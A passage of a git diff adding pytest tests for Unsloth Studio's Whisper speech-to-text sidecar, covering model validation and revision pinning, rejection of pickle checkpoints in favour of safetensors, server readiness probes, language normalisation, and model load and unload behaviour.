+
+    env = _stub_tools(tmp_path)
+    env.pop("UNSLOTH_STUDIO_HOME", None)
+    env.pop("STUDIO_HOME", None)
+    env["HOME"] = str(fake_home)
+    result = _run_build_script(env)
+
+    # The legacy managed dir is always Studio-owned; no gate, straight to git.
+    assert "not marked as an Unsloth-owned" not in result.stderr
+    assert "stub-git-invoked" in result.stderr
+
+
+# 2 + 3. _snapshot_is_complete --------------------------------------------------
+
+
+def _base_snapshot(tmp_path: Path) -> Path:
+    snap = tmp_path / "snap"
+    snap.mkdir()
+    (snap / "config.json").write_text("{}")
+    (snap / "preprocessor_config.json").write_text("{}")
+    (snap / "tokenizer.json").write_text("{}")
+    return snap
+
+
+def test_pickle_checkpoint_snapshot_is_never_complete(tmp_path):
+    # A cached pytorch_model.bin is a pickle RCE load path; the snapshot must
+    # read as incomplete no matter how many shards are present, so update
+    # re-resolves and _select_snapshot_files fails it closed.
+    snap = _base_snapshot(tmp_path)
+    index = {
+        "weight_map": {
+            "a": "pytorch_model-00001-of-00002.bin",
+            "b": "pytorch_model-00002-of-00002.bin",
+        }
+    }
+    (snap / "pytorch_model.bin.index.json").write_text(json.dumps(index))
+    (snap / "pytorch_model-00001-of-00002.bin").write_bytes(b"w" * 8)
+    (snap / "pytorch_model-00002-of-00002.bin").write_bytes(b"w" * 8)
+    assert stt_sidecar_module._snapshot_is_complete(snap) is False
+
+    # A single-file pickle checkpoint is likewise rejected; the safetensors
+    # equivalent in the same dir makes it complete.
+    (snap / "pytorch_model.bin").write_bytes(b"w" * 8)
+    assert stt_sidecar_module._snapshot_is_complete(snap) is False
+    (snap / "model.safetensors").write_bytes(b"w" * 8)
+    assert stt_sidecar_module._snapshot_is_complete(snap) is True
+
+
+def test_safe_index_naming_pickle_shards_is_not_complete(tmp_path):
+    # A safetensors index that references .bin shards would still pickle-load
+    # via Transformers' per-shard dispatch; the cached snapshot must read as
+    # incomplete so it re-resolves and fails closed at selection.
+    snap = _base_snapshot(tmp_path)
+    (snap / "model.safetensors.index.json").write_text(
+        json.dumps({"weight_map": {"a": "pytorch_model-00001-of-00001.bin"}})
+    )
+    (snap / "pytorch_model-00001-of-00001.bin").write_bytes(b"w" * 8)
+    assert stt_sidecar_module._snapshot_is_complete(snap) is False
+
+
+def test_snapshot_without_tokenizer_assets_is_incomplete(tmp_path):
+    snap = _base_snapshot(tmp_path)
+    (snap / "model.safetensors").write_bytes(b"w" * 8)
+    assert stt_sidecar_module._snapshot_is_complete(snap) is True
+
+    # Weights + config but no tokenizer decodes to blank text; not complete.
+    (snap / "tokenizer.json").unlink()
+    assert stt_sidecar_module._snapshot_is_complete(snap) is False
+
+    # The slow vocab.json + merges.txt pair is an accepted alternative.
+    (snap / "vocab.json").write_text("{}")
+    assert stt_sidecar_module._snapshot_is_complete(snap) is False
+    (snap / "merges.txt").write_text("")
+    assert stt_sidecar_module._snapshot_is_complete(snap) is True
+
+
+# 4. Revision pinning and allow_patterns ----------------------------------------
+
+
+def test_validate_remote_model_returns_the_validated_revision(monkeypatch):
+    revision = "a" * 40
+
+    class _FakeApi:
+        def __init__(self, token = None):
+            pass
+
+        def model_info(
+            self,
+            repo,
+            expand = None,
+            timeout = None,
+        ):
+            return SimpleNamespace(config = {"model_type": "whisper"}, sha = revision)
+
+    import huggingface_hub
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _FakeApi)
+    result = validate_remote_model("someone/custom-whisper")
+    assert result["revision"] == revision
+
+
+def test_download_pins_revision_and_limits_patterns(monkeypatch):
+    captured = {}
+    validated_revision = "a" * 40
+    head_revision = "b" * 40
+
+    def fake_snapshot_download(**kwargs):
+        captured.update(kwargs)
+        return "/cached"
+
+    class _FakeApi:
+        def __init__(self, token = None):
+            pass
+
+        def model_info(
+            self,
+            repo,
+            revision = None,
+            files_metadata = None,
+            timeout = None,
+        ):
+            names = (
+                "config.json",
+                "preprocessor_config.json",
+                "tokenizer.json",
+                "model.safetensors",
+            )
+            siblings = [
+                SimpleNamespace(rfilename = name, size = 10, blob_id = name, lfs = None) for name in names
+            ]
+            return SimpleNamespace(siblings = siblings, sha = head_revision)
+
+    import huggingface_hub
+
+    monkeypatch.setattr(huggingface_hub, "HfApi", _FakeApi)
+    monkeypatch.setattr(huggingface_hub, "snapshot_download", fake_snapshot_download)
+
+    state = stt_sidecar_module._SnapshotDownloadState()
+    # The revision resolved at validation time wins over the current head.
+    state._run("someone/custom-whisper", None, revision = validated_revision)
+    assert captured["revision"] == validated_revision
+    patterns = captured["allow_patterns"]
+    assert "model.safetensors" in patterns and "tokenizer.json" in patterns
+    # No wildcard that would admit arbitrary repo contents.
+    assert "*" not in patterns
+
+    # Without a validated revision (curated repos), pin to the metadata head.
+    captured.clear()
+    state._run("someone/custom-whisper", None)
+    assert captured["revision"] == head_revision
+    assert captured["allow_patterns"]
+
+
+# 5. GGML readiness must identify whisper-server --------------------------------
+
+
+class _CannedHandler(http.server.BaseHTTPRequestHandler):
+    body = b""
+
+    def do_GET(self):  # noqa: N802
+        payload = type(self).body
+        self.send_response(200)
+        self.send_header("Content-Length", str(len(payload)))
+        self.end_headers()
+        self.wfile.write(payload)
+
+    def log_message(self, *args):
+        pass
+
+
+def _serve(body: bytes):
+    handler = type("Handler", (_CannedHandler,), {"body": body})
+    server = http.server.HTTPServer(("127.0.0.1", 0), handler)
+    thread = threading.Thread(target = server.serve_forever, daemon = True)
+    thread.start()
+    return server, server.server_address[1]
+
+
+def _fake_alive_process():
+    return SimpleNamespace(poll = lambda: None, pid = 999999)
+
+
+def test_wait_for_server_rejects_a_foreign_http_responder(monkeypatch):
+    server, port = _serve(b"<html>hello from some other local app</html>")
+    try:
+        monkeypatch.setattr(ggml_module, "_SERVER_START_TIMEOUT_SECONDS", 1.0)
+        with pytest.raises(SttEngineUnavailableError, match = "did not start in time"):
+            GgmlSttSidecar._wait_for_server(_fake_alive_process(), port)
+    finally:
+        server.shutdown()
+
+
+def test_wait_for_server_accepts_the_whisper_server_page(monkeypatch):
+    server, port = _serve(b"<html><title>Whisper.cpp Server</title></html>")
+    try:
+        monkeypatch.setattr(ggml_module, "_SERVER_START_TIMEOUT_SECONDS", 5.0)
+        GgmlSttSidecar._wait_for_server(_fake_alive_process(), port)
+    finally:
+        server.shutdown()
+
+
+def test_probe_requires_the_managed_child_to_be_alive():
+    server, port = _serve(b"whisper")
+    try:
+        dead = SimpleNamespace(poll = lambda: 0, pid = 999999)
+        assert GgmlSttSidecar._probe_is_whisper_server(dead, port) is False
+        assert GgmlSttSidecar._probe_is_whisper_server(_fake_alive_process(), port) is True
+    finally:
+        server.shutdown()
+
+
+def test_port_reservation_is_held_until_released():
+    reservation, port = GgmlSttSidecar._reserve_free_port()
+    try:
+        probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        try:
+            with pytest.raises(OSError):
+                probe.bind(("127.0.0.1", port))
+        finally:
+            probe.close()
+    finally:
+        reservation.close()
+    # Released right before spawn: the port becomes bindable for the child.
+    child = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+    child.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+    try:
+        child.bind(("127.0.0.1", port))
+    finally:
+        child.close()
diff --git a/studio/backend/tests/test_stt_sidecar.py b/studio/backend/tests/test_stt_sidecar.py
new file mode 100644
index 0000000000..b138f46331
--- /dev/null
+++ b/studio/backend/tests/test_stt_sidecar.py
@@ -0,0 +1,1302 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import gc
+import io
+import json
+import sys
+import threading
+import time
+import wave
+import weakref
+from pathlib import Path
+from types import SimpleNamespace
+
+import numpy as np
+import pytest
+
+import core.inference.stt_sidecar as stt_sidecar_module
+from core.inference.stt_sidecar import (
+    DEFAULT_STT_MODEL,
+    STT_MODELS,
+    SttAudioDecodeError,
+    SttAudioTooLongError,
+    SttLanguageError,
+    SttLoadCancelledError,
+    SttModelCompatibilityError,
+    SttModelIdError,
+    SttModelNotDownloadedError,
+    SttUnavailableError,
+    WhisperSttSidecar,
+    normalize_whisper_language,
+    resolve_model_id,
+    resolve_model_repo,
+    validate_remote_model,
+)
+
+_REAL_DECODE_AUDIO_BOUNDED = stt_sidecar_module._decode_audio_bounded
+_REAL_ENSURE_STT_AVAILABLE = stt_sidecar_module.ensure_stt_available
+_REAL_SNAPSHOT_IS_COMPLETE = stt_sidecar_module._snapshot_is_complete
+_REAL_FIND_COMPLETE_CACHED_SNAPSHOT = stt_sidecar_module._find_complete_cached_snapshot
+
+
+@pytest.fixture(autouse = True)
+def stub_audio_decoder(monkeypatch):
+    """Unit tests below exercise orchestration, not PyAV container parsing."""
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_decode_audio_bounded",
+        lambda _audio: np.zeros(8000, dtype = np.float32),
+    )
+    monkeypatch.setattr(
+        "huggingface_hub.snapshot_download",
+        lambda **_kwargs: "/cached/model",
+    )
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        lambda _model: Path("/cached/model"),
+    )
+    # The stubbed snapshot path holds no files; snapshot-integrity tests
+    # restore the real check.
+    monkeypatch.setattr(stt_sidecar_module, "_snapshot_is_complete", lambda _snapshot: True)
+    # transcribe() gates on the runtime up front; treat it as present so these
+    # orchestration tests run without PyTorch/Transformers/PyAV installed.
+    # The runtime-specific tests restore the real check.
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", lambda: None)
+
+
+class _CaptureInference:
+    """Stand-in for the model inference step; records how it was called."""
+
+    def __init__(
+        self,
+        text = "hello",
+        mutate = None,
+    ) -> None:
+        self.text = text
+        self.mutate = mutate
+        self.generate_kwargs = None
+
+    def __call__(self, model_id, decoded, generate_kwargs):
+        self.generate_kwargs = generate_kwargs
+        if self.mutate is not None:
+            self.mutate()
+        return self.text
+
+
+def test_five_curated_whisper_models_are_offered():
+    assert STT_MODELS == {
+        "tiny": "unsloth/whisper-tiny",
+        "base": "unsloth/whisper-base",
+        "small": "unsloth/whisper-small",
+        "large-v3-turbo": "unsloth/whisper-large-v3-turbo",
+        "large-v3": "unsloth/whisper-large-v3",
+    }
+    assert all(repo.startswith(("unsloth/", "unslothai/")) for repo in STT_MODELS.values())
+    assert DEFAULT_STT_MODEL in STT_MODELS
+
+
+def test_av_is_required_for_stt_availability(monkeypatch):
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", _REAL_ENSURE_STT_AVAILABLE)
+    monkeypatch.setitem(sys.modules, "torch", SimpleNamespace())
+    monkeypatch.setitem(sys.modules, "transformers", SimpleNamespace())
+    monkeypatch.setitem(sys.modules, "av", None)
+
+    assert stt_sidecar_module.is_available() is False
+
+
+def test_transformers_is_required_for_stt_availability(monkeypatch):
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", _REAL_ENSURE_STT_AVAILABLE)
+    monkeypatch.setitem(sys.modules, "torch", SimpleNamespace())
+    monkeypatch.setitem(sys.modules, "av", SimpleNamespace())
+    monkeypatch.setitem(sys.modules, "transformers", None)
+
+    assert stt_sidecar_module.is_available() is False
+
+
+@pytest.mark.parametrize("missing", ["transformers", "av"])
+def test_load_rejects_an_incomplete_stt_runtime(monkeypatch, missing):
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 0)
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", _REAL_ENSURE_STT_AVAILABLE)
+    for module in ("torch", "transformers", "av"):
+        monkeypatch.setitem(sys.modules, module, SimpleNamespace())
+    monkeypatch.setitem(sys.modules, missing, None)
+    monkeypatch.setattr(
+        sidecar,
+        "_ensure_model_downloaded",
+        lambda _model: pytest.fail("runtime must be checked before the model cache"),
+    )
+
+    with pytest.raises(SttUnavailableError, match = "needs PyTorch, Transformers, and PyAV"):
+        sidecar.load("small")
+
+
+def test_model_id_accepts_defaults_and_custom_hub_repositories():
+    assert resolve_model_id("tiny") == "tiny"
+    assert resolve_model_id(None) == DEFAULT_STT_MODEL
+    assert resolve_model_id("large-v3") == "large-v3"
+    assert resolve_model_id("openai/whisper-medium") == "openai/whisper-medium"
+    assert resolve_model_repo("tiny") == "unsloth/whisper-tiny"
+    assert resolve_model_repo("openai/whisper-medium") == "openai/whisper-medium"
+
+
+@pytest.mark.parametrize("model", ["tiny-ish", "owner/model/extra", "../model", "owner/"])
+def test_invalid_custom_model_id_is_rejected(model):
+    with pytest.raises(SttModelIdError, match = "owner/model"):
+        resolve_model_id(model)
+
+
+def test_remote_custom_model_validation_requires_whisper_config(monkeypatch):
+    calls = []
+
+    class FakeApi:
+        def __init__(self, token):
+            calls.append(("token", token))
+
+        def model_info(self, repo, **kwargs):
+            calls.append(("model_info", repo, kwargs))
+            return SimpleNamespace(
+                sha = "a" * 40,
+                config = {
+                    "model_type": "whisper",
+                    "architectures": ["WhisperForConditionalGeneration"],
+                },
+            )
+
+    monkeypatch.setattr("huggingface_hub.HfApi", FakeApi)
+
+    result = validate_remote_model("owner/custom-whisper", "hf_private")
+
+    assert result == {
+        "model": "owner/custom-whisper",
+        "repo": "owner/custom-whisper",
+        "revision": "a" * 40,
+    }
+    assert calls == [
+        ("token", "hf_private"),
+        (
+            "model_info",
+            "owner/custom-whisper",
+            {"expand": ["config", "sha"], "timeout": 10},
+        ),
+    ]
+
+
+def test_remote_custom_model_validation_rejects_non_whisper(monkeypatch):
+    class FakeApi:
+        def __init__(self, token):
+            assert token is False
+
+        def model_info(self, _repo, **_kwargs):
+            return SimpleNamespace(
+                config = {
+                    "model_type": "llama",
+                    "architectures": ["LlamaForCausalLM"],
+                }
+            )
+
+    monkeypatch.setattr("huggingface_hub.HfApi", FakeApi)
+
+    with pytest.raises(SttModelCompatibilityError, match = "not a compatible"):
+        validate_remote_model("owner/chat-model")
+
+
+def test_remote_custom_model_validation_requires_an_immutable_sha(monkeypatch):
+    class FakeApi:
+        def __init__(self, token):
+            pass
+
+        def model_info(self, _repo, **_kwargs):
+            return SimpleNamespace(sha = None, config = {"model_type": "whisper"})
+
+    monkeypatch.setattr("huggingface_hub.HfApi", FakeApi)
+
+    with pytest.raises(SttModelCompatibilityError, match = "immutable revision"):
+        validate_remote_model("owner/custom-whisper")
+
+
+def test_fast_transcription_uses_greedy_decoding(monkeypatch):
+    sidecar = WhisperSttSidecar()
+    infer = _CaptureInference()
+    monkeypatch.setattr(sidecar, "_transcribe_decoded", infer)
+
+    result = sidecar.transcribe(b"encoded audio", language = "en", fast = True)
+
+    assert result["text"] == "hello"
+    assert result["duration"] == 0.5
+    assert result["model"] == DEFAULT_STT_MODEL
+    assert infer.generate_kwargs == {
+        "task": "transcribe",
+        "condition_on_prev_tokens": False,
+        "num_beams": 1,
+        "language": "en",
+    }
+
+
+def test_accurate_transcription_keeps_beam_search_default(monkeypatch):
+    sidecar = WhisperSttSidecar()
+    infer = _CaptureInference()
+    monkeypatch.setattr(sidecar, "_transcribe_decoded", infer)
+
+    sidecar.transcribe(b"encoded audio")
+
+    assert infer.generate_kwargs == {
+        "task": "transcribe",
+        "condition_on_prev_tokens": False,
+        "num_beams": 5,
+    }
+
+
+@pytest.mark.parametrize(
+    ("language", "expected"),
+    [
+        (None, None),
+        ("auto", None),
+        ("en-US", "en"),
+        ("en-GB", "en"),
+        ("zh-CN", "zh"),
+        ("ja-JP", "ja"),
+        ("ko-KR", "ko"),
+        ("es-ES", "es"),
+        ("fr-FR", "fr"),
+        ("de-DE", "de"),
+        ("it-IT", "it"),
+        ("pt_BR", "pt"),
+        ("ru-RU", "ru"),
+        ("hi-IN", "hi"),
+        ("ar-SA", "ar"),
+        ("iw-IL", "he"),
+        ("nb-NO", "no"),
+    ],
+)
+def test_normalize_whisper_language_accepts_bcp47(language, expected):
+    assert normalize_whisper_language(language) == expected
+
+
+def test_transcription_normalizes_region_qualified_language(monkeypatch):
+    sidecar = WhisperSttSidecar()
+    infer = _CaptureInference()
+    monkeypatch.setattr(sidecar, "_transcribe_decoded", infer)
+
+    sidecar.transcribe(b"encoded audio", language = "fr-FR")
+
+    assert infer.generate_kwargs["language"] == "fr"
+
+
+def test_english_only_model_rejects_non_english_before_decode(monkeypatch, tmp_path):
+    (tmp_path / "config.json").write_text('{"model_type": "whisper"}')
+    (tmp_path / "generation_config.json").write_text('{"is_multilingual": false}')
+    sidecar = WhisperSttSidecar()
+
+    def should_not_decode(_audio):
+        pytest.fail("English-only language mismatch must be rejected before decode")
+
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        lambda _model: tmp_path,
+    )
+    monkeypatch.setattr(stt_sidecar_module, "_decode_audio_bounded", should_not_decode)
+
+    with pytest.raises(SttLanguageError, match = "English-only"):
+        sidecar.transcribe(
+            b"encoded audio",
+            model = "owner/whisper-small.en",
+            language = "fr-FR",
+        )
+
+
+def test_english_only_model_omits_forbidden_generation_controls(monkeypatch):
+    calls = []
+
+    class FakeTensor:
+        def to(self, *_args):
+            return self
+
+    class FakeProcessor:
+        def __call__(self, *_args, **_kwargs):
+            return SimpleNamespace(input_features = FakeTensor())
+
+        def batch_decode(self, *_args, **_kwargs):
+            return ["hello"]
+
+    class FakeModel:
+        dtype = None
+        device = "cpu"
+        generation_config = SimpleNamespace(is_multilingual = False)
+
+        def generate(self, _features, **kwargs):
+            calls.append(kwargs)
+            return [[1]]
+
+    class NoGrad:
+        def __enter__(self):
+            return None
+
+        def __exit__(self, *_args):
+            return False
+
+    monkeypatch.setitem(sys.modules, "torch", SimpleNamespace(no_grad = NoGrad))
+    sidecar = WhisperSttSidecar()
+    monkeypatch.setattr(sidecar, "load", lambda _model: (FakeModel(), FakeProcessor()))
+
+    text = sidecar._transcribe_decoded(
+        "owner/whisper-small.en",
+        np.zeros(160, dtype = np.float32),
+        {
+            "task": "transcribe",
+            "language": "en",
+            "condition_on_prev_tokens": False,
+            "num_beams": 1,
+        },
+    )
+
+    assert text == "hello"
+    assert calls == [{"condition_on_prev_tokens": False, "num_beams": 1}]
+
+
+def test_unknown_language_is_rejected_before_decode_or_model_load(monkeypatch):
+    sidecar = WhisperSttSidecar()
+
+    def should_not_run(*_args, **_kwargs):
+        pytest.fail("unknown language must be rejected before expensive work")
+
+    monkeypatch.setattr(stt_sidecar_module, "_known_whisper_languages", lambda: frozenset({"en"}))
+    monkeypatch.setattr(stt_sidecar_module, "_decode_audio_bounded", should_not_run)
+    monkeypatch.setattr(sidecar, "_transcribe_decoded", should_not_run)
+
+    with pytest.raises(SttLanguageError, match = "is not supported"):
+        sidecar.transcribe(b"encoded audio", language = "xx-YY")
+
+
+def test_unknown_language_is_not_reported_as_bad_audio(monkeypatch):
+    sidecar = WhisperSttSidecar()
+    infer = _CaptureInference()
+    monkeypatch.setattr(sidecar, "_transcribe_decoded", infer)
+    monkeypatch.setattr(stt_sidecar_module, "_known_whisper_languages", lambda: frozenset({"en"}))
+
+    with pytest.raises(SttLanguageError, match = "is not supported"):
+        sidecar.transcribe(b"encoded audio", language = "xx-YY")
+
+
+def test_transcription_result_keeps_requested_model_id_during_switch(monkeypatch):
+    sidecar = WhisperSttSidecar()
+
+    # Simulate another request changing the mutable resident-model state after
+    # this request pinned its own model id.
+    infer = _CaptureInference(mutate = lambda: setattr(sidecar, "_model_id", "large-v3"))
+    monkeypatch.setattr(sidecar, "_transcribe_decoded", infer)
+
+    result = sidecar.transcribe(b"encoded audio", model = "small")
+
+    assert result["model"] == "small"
+
+
+def test_inference_failure_propagates(monkeypatch):
+    sidecar = WhisperSttSidecar()
+
+    def boom(*_args, **_kwargs):
+        raise RuntimeError("inference failed")
+
+    monkeypatch.setattr(sidecar, "_transcribe_decoded", boom)
+
+    with pytest.raises(RuntimeError, match = "inference failed"):
+        sidecar.transcribe(b"encoded audio")
+
+
+class _FakeModel:
+    def to(self, *_args, **_kwargs):
+        return self
+
+    def eval(self):
+        return self
+
+
+class _FakeTimer:
+    def __init__(
+        self,
+        interval,
+        function,
+        args = (),
+        kwargs = None,
+    ):
+        self.interval = interval
+        self.function = function
+        self.args = args
+        self.kwargs = kwargs or {}
+        self.cancelled = False
+        self.daemon = False
+        self.started = False
+
+    def start(self):
+        self.started = True
+
+    def cancel(self):
+        self.cancelled = True
+
+    def fire(self):
+        self.function(*self.args, **self.kwargs)
+
+
+def _install_fake_torch(monkeypatch):
+    fake_torch = SimpleNamespace(
+        float16 = "float16",
+        float32 = "float32",
+        device = lambda value: value,
+        cuda = SimpleNamespace(is_available = lambda: False),
+        backends = SimpleNamespace(mps = SimpleNamespace(is_available = lambda: False)),
+    )
+    monkeypatch.setitem(sys.modules, "torch", fake_torch)
+    monkeypatch.setitem(sys.modules, "av", SimpleNamespace())
+    return fake_torch
+
+
+def test_load_uses_model_hub_cache_without_implicit_download(monkeypatch):
+    calls = []
+    _install_fake_torch(monkeypatch)
+
+    class FakeWhisperForConditionalGeneration:
+        @classmethod
+        def from_pretrained(cls, repo, **kwargs):
+            calls.append(("model", repo, kwargs))
+            return _FakeModel()
+
+    class FakeWhisperProcessor:
+        @classmethod
+        def from_pretrained(cls, repo, **kwargs):
+            calls.append(("processor", repo, kwargs))
+            return object()
+
+    monkeypatch.setitem(
+        sys.modules,
+        "transformers",
+        SimpleNamespace(
+            WhisperForConditionalGeneration = FakeWhisperForConditionalGeneration,
+            WhisperProcessor = FakeWhisperProcessor,
+        ),
+    )
+    monkeypatch.setattr(stt_sidecar_module, "_pick_device", lambda: ("cpu", "float32"))
+
+    WhisperSttSidecar(keep_alive_seconds = 0).load("small")
+
+    assert {(kind, repo) for kind, repo, _ in calls} == {
+        ("processor", "/cached/model"),
+        ("model", "/cached/model"),
+    }
+    # Never fetch weights implicitly; the Model Hub owns downloads.
+    assert all(kwargs.get("local_files_only") is True for _, _, kwargs in calls)
+    # The weight load forces safetensors so a pickle checkpoint cannot execute.
+    model_kwargs = next(kwargs for kind, _, kwargs in calls if kind == "model")
+    assert model_kwargs.get("use_safetensors") is True
+
+
+def test_model_cache_preflight_uses_shared_offline_resolver(monkeypatch):
+    seen = []
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        lambda model: seen.append(model) or Path("/cached/model"),
+    )
+
+    WhisperSttSidecar(keep_alive_seconds = 0)._ensure_model_downloaded("small")
+
+    assert seen == ["small"]
+
+
+def test_model_cache_preflight_reports_missing_snapshot(monkeypatch):
+    monkeypatch.setattr(stt_sidecar_module, "_find_complete_cached_snapshot", lambda _model: None)
+
+    with pytest.raises(SttModelNotDownloadedError, match = "not downloaded"):
+        WhisperSttSidecar(keep_alive_seconds = 0)._ensure_model_downloaded("large-v3")
+
+
+def test_load_reports_model_hub_cache_miss(monkeypatch):
+    _install_fake_torch(monkeypatch)
+
+    class LocalEntryNotFoundError(RuntimeError):
+        pass
+
+    class MissingWhisperProcessor:
+        @classmethod
+        def from_pretrained(cls, *_args, **_kwargs):
+            raise LocalEntryNotFoundError("not cached")
+
+    monkeypatch.setitem(
+        sys.modules,
+        "transformers",
+        SimpleNamespace(
+            WhisperForConditionalGeneration = object,
+            WhisperProcessor = MissingWhisperProcessor,
+        ),
+    )
+    monkeypatch.setattr(stt_sidecar_module, "_pick_device", lambda: ("cpu", "float32"))
+
+    with pytest.raises(SttModelNotDownloadedError, match = "not downloaded"):
+        WhisperSttSidecar(keep_alive_seconds = 0).load("large-v3")
+
+
+def test_unavailable_runtime_is_rejected_before_audio_decode(monkeypatch):
+    sidecar = WhisperSttSidecar()
+
+    def unavailable() -> None:
+        raise SttUnavailableError("needs PyTorch, Transformers, and PyAV")
+
+    def should_not_decode(_audio):
+        pytest.fail("runtime must be checked before audio decode")
+
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", unavailable)
+    monkeypatch.setattr(stt_sidecar_module, "_decode_audio_bounded", should_not_decode)
+
+    with pytest.raises(SttUnavailableError, match = "needs PyTorch"):
+        sidecar.transcribe(b"encoded audio", model = "small")
+
+
+def test_missing_model_is_rejected_before_audio_decode(monkeypatch):
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 0)
+
+    def missing(_model_id):
+        raise SttModelNotDownloadedError("not downloaded")
+
+    def should_not_decode(_audio):
+        pytest.fail("missing models must be rejected before audio decode")
+
+    monkeypatch.setattr(sidecar, "_ensure_model_downloaded", missing, raising = False)
+    monkeypatch.setattr(stt_sidecar_module, "_decode_audio_bounded", should_not_decode)
+
+    with pytest.raises(SttModelNotDownloadedError, match = "not downloaded"):
+        sidecar.transcribe(b"encoded audio", model = "large-v3")
+
+
+def test_missing_model_switch_keeps_resident_model(monkeypatch):
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 0)
+    resident = object()
+    sidecar._engine = resident
+    sidecar._model_id = "small"
+    sidecar._device = "cpu"
+
+    def missing(_model_id):
+        raise SttModelNotDownloadedError("not downloaded")
+
+    monkeypatch.setattr(sidecar, "_ensure_model_downloaded", missing, raising = False)
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", lambda: None)
+    monkeypatch.setattr(
+        sidecar,
+        "_build_model",
+        lambda *_args: pytest.fail("cache miss must be detected before model replacement"),
+    )
+    _install_fake_torch(monkeypatch)
+
+    with pytest.raises(SttModelNotDownloadedError, match = "not downloaded"):
+        sidecar.load("large-v3")
+
+    assert sidecar._engine is resident
+    assert sidecar.loaded_model == "small"
+
+
+def test_incompatible_custom_model_switch_keeps_resident_model(monkeypatch, tmp_path):
+    (tmp_path / "config.json").write_text(
+        '{"model_type": "llama", "architectures": ["LlamaForCausalLM"]}'
+    )
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 0)
+    resident = (object(), object())
+    sidecar._engine = resident
+    sidecar._model_id = "small"
+    sidecar._device = "cpu"
+    _install_fake_torch(monkeypatch)
+    monkeypatch.setattr(
+        stt_sidecar_module,
+        "_find_complete_cached_snapshot",
+        lambda _model: tmp_path,
+    )
+
+    with pytest.raises(SttModelCompatibilityError, match = "not a compatible"):
+        sidecar.load("owner/chat-model")
+
+    assert sidecar._engine is resident
+    assert sidecar.loaded_model == "small"
+
+
+def test_loaded_model_stays_warm_until_idle_timer_fires(monkeypatch):
+    timers = []
+    _install_fake_torch(monkeypatch)
+
+    def make_timer(*args, **kwargs):
+        timer = _FakeTimer(*args, **kwargs)
+        timers.append(timer)
+        return timer
+
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 300)
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", lambda: None)
+    monkeypatch.setattr(stt_sidecar_module.threading, "Timer", make_timer)
+    monkeypatch.setattr(sidecar, "_build_model", lambda *_args: (object(), object()))
+    monkeypatch.setattr(stt_sidecar_module, "_pick_device", lambda: ("cpu", "float32"))
+
+    sidecar.load("small")
+
+    assert sidecar.loaded_model == "small"
+    assert timers[-1].interval == 300
+    assert timers[-1].started
+
+    timers[-1].fire()
+
+    assert sidecar.loaded_model is None
+
+
+def test_reusing_loaded_model_refreshes_idle_timer(monkeypatch):
+    timers = []
+    _install_fake_torch(monkeypatch)
+
+    def make_timer(*args, **kwargs):
+        timer = _FakeTimer(*args, **kwargs)
+        timers.append(timer)
+        return timer
+
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 300)
+    monkeypatch.setattr(stt_sidecar_module, "ensure_stt_available", lambda: None)
+    monkeypatch.setattr(stt_sidecar_module.threading, "Timer", make_timer)
+    monkeypatch.setattr(sidecar, "_build_model", lambda *_args: (object(), object()))
+    monkeypatch.setattr(stt_sidecar_module, "_pick_device", lambda: ("cpu", "float32"))
+
+    sidecar.load("small")
+    first = timers[-1]
+    sidecar.load("small")
+
+    assert first.cancelled
+    assert timers[-1] is not first
+
+    first.fire()
+
+    assert sidecar.loaded_model == "small"
+
+
+def test_unload_waits_for_inflight_transcription(monkeypatch):
+    sidecar = WhisperSttSidecar(keep_alive_seconds = 0)
+    started = threading.Event()
+    release = threading.Event()
+
+    def transcribe(*_args):
+        started.set()
+        assert release.wait(timeout = 2)
+        return "hello"
+
+    monkeypatch.setattr(sidecar, "_transcribe_decoded", transcribe)
+    transcribe_thread = threading.Thread(target = lambda: sidecar.transcribe(b"audio"))
+    transcribe_thread.start()
+    assert started.wait(timeout = 2)
+
+    unload_thread = threading.Thread(target = sidecar.unload)
+    unload_thread.start()
+    time.sleep(0.02)
+    assert unload_thread.is_alive()
+
+    release.set()
+    transcribe_thread.join(timeout = 2)
+    unload_thread.join(timeout = 2)
+
+    assert not transcribe_thread.is_alive()
+    assert not unload_thread.is_alive()
+
+
+def test_new_stt_load_uses_cpu_while_training(monkeypatch):
+    fake_torch = SimpleNamespace(
+        float16 = "float16",
+        float32 = "float32",
+        cuda = SimpleNamespace(is_available = lambda: True),
+        backends = SimpleNamespace(mps = SimpleNamespace(is_available = lambda: True)),
+    )
+    monkeypatch.setitem(sys.modules, "torch", fake_torch)
+    monkeypatch.setattr(stt_sidecar_module, "_training_active", lambda: True)
+
+    assert stt_sidecar_module._pick_device() == ("cpu", "float32")
+
+
+def test_new_stt_load_prefers_cuda_when_training_is_idle(monkeypatch):
+    fake_torch = SimpleNamespace(
+        float16 = "float16",
+        float32 = "float32",
+        cuda = SimpleNamespace(is_available = lambda: True),
+        backends = SimpleNamespace(mps = SimpleNamespace(is_available = lambda: False)),
+    )
+    monkeypatch.setitem(sys.modules, "torch", fake_torch)
+    monkeypatch.setattr(stt_sidecar_module, "_training_active", lambda: False)
+
+    assert stt_sidecar_module._pick_device() == ("cuda", "float16")
+
+
+def test_new_stt_load_prefers_mps_when_cuda_is_unavailable(monkeypatch):
+    fake_torch = SimpleNamespace(
+        float16 = "float16",
+        float32 = "float32",
+        cuda = SimpleNamespace(is_available = lambda: False),
